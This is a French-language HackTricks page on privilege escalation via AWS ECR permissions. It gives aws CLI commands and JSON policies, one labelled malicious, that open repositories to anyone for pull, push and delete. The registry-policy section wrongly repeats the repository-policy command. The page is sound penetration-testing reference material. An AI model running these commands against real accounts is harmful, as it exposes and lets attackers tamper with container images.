AWS - ECR Privesc

Soutenez HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Un attaquant avec les permissions ecr:GetAuthorizationToken et ecr:BatchGetImage peut se connecter à ECR et télécharger des images.

Pour plus d'informations sur comment télécharger des images :

AWS - ECR Post Exploitation

Impact potentiel : Privilège indirect en interceptant des informations sensibles dans le trafic.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Un attaquant avec toutes ces permissions peut se connecter à ECR et télécharger des images. Cela peut être utile pour escalader les privilèges vers d'autres environnements où ces images sont utilisées.

Pour apprendre comment télécharger une nouvelle image/mettre à jour une, consultez :

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Comme la section précédente, mais pour les dépôts publics.

ecr:SetRepositoryPolicy

Un attaquant avec cette permission pourrait modifier la politique du dépôt pour s'accorder lui-même (ou même à tout le monde) un accès en lecture/écriture. Par exemple, dans cet exemple, l'accès en lecture est donné à tout le monde.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Contenu de my-policy.json :

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Comme la section précédente, mais pour les dépôts publics. Un attaquant peut modifier la politique du dépôt d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour escalader ses privilèges.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impact potentiel : Accès public non autorisé au dépôt ECR Public, permettant à tout utilisateur de pousser, tirer ou supprimer des images.

ecr:PutRegistryPolicy

Un attaquant avec cette autorisation pourrait modifier la politique du registre pour s'accorder lui-même, son compte (ou même tout le monde) un accès en lecture/écriture.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Soutenez HackTricks

Last updated